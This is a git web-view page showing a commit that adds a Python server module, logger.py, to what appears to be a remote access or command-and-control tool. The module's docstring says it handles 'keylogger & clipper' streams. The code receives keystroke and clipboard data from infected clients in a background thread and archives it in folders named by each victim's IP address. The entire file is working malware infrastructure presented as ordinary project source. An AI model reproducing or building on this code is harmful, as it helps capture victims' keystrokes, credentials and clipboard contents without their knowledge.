summaryrefslogtreecommitdiff
path: root/server/modules/logger.py
diff options
context:
space:
mode:
Diffstat (limited to 'server/modules/logger.py')
-rw-r--r--server/modules/logger.py56
1 files changed, 56 insertions, 0 deletions
diff --git a/server/modules/logger.py b/server/modules/logger.py
new file mode 100644
index 0000000..4adaf79
--- /dev/null
+++ b/server/modules/logger.py
@@ -0,0 +1,56 @@
+'''
+ Handles the keylogger & clipper stream module
+ connections. Simply writes to files logging
+ the data sent from the client in intervals.
+
+ Verified: 2021 February 7
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from server.state import ServerStatic, Dynamic
+from server.modules.module import Module
+from server.helper import ServerHelper
+from shared.helper import Helper
+from shared.error import Error
+from shared.data import Data
+
+import os
+
+
+class Logger(Module):
+
+ def __init__(self, logger_type, conn, token, connect_ip):
+ super().__init__(conn, token, connect_ip)
+ self.__module = logger_type.capitalize()
+ self.__logger_type = logger_type
+
+ def __str__(self):
+ return self.__module
+
+ @Error.quiet_thread
+ def __recv(self):
+ try:
+ with self.conn as sock:
+ dirpath = os.path.join(ServerStatic.ARCHIVE_DIR,
+ self.safe_connect_ip,
+ self.__logger_type)
+ filepath = os.path.join(
+ dirpath, ServerHelper.filename('txt'))
+
+ while True:
+ data = Data.recv(sock, True)
+
+ if data:
+ if not os.path.isdir(dirpath):
+ os.makedirs(dirpath, exist_ok=True)
+
+ Helper.write_file(filepath, data)
+
+ Data.send(sock)
+ finally:
+ del Dynamic.MODULES[self.token]
+
+ def live(self, *args):
+ Helper.thread(self.__recv, *args)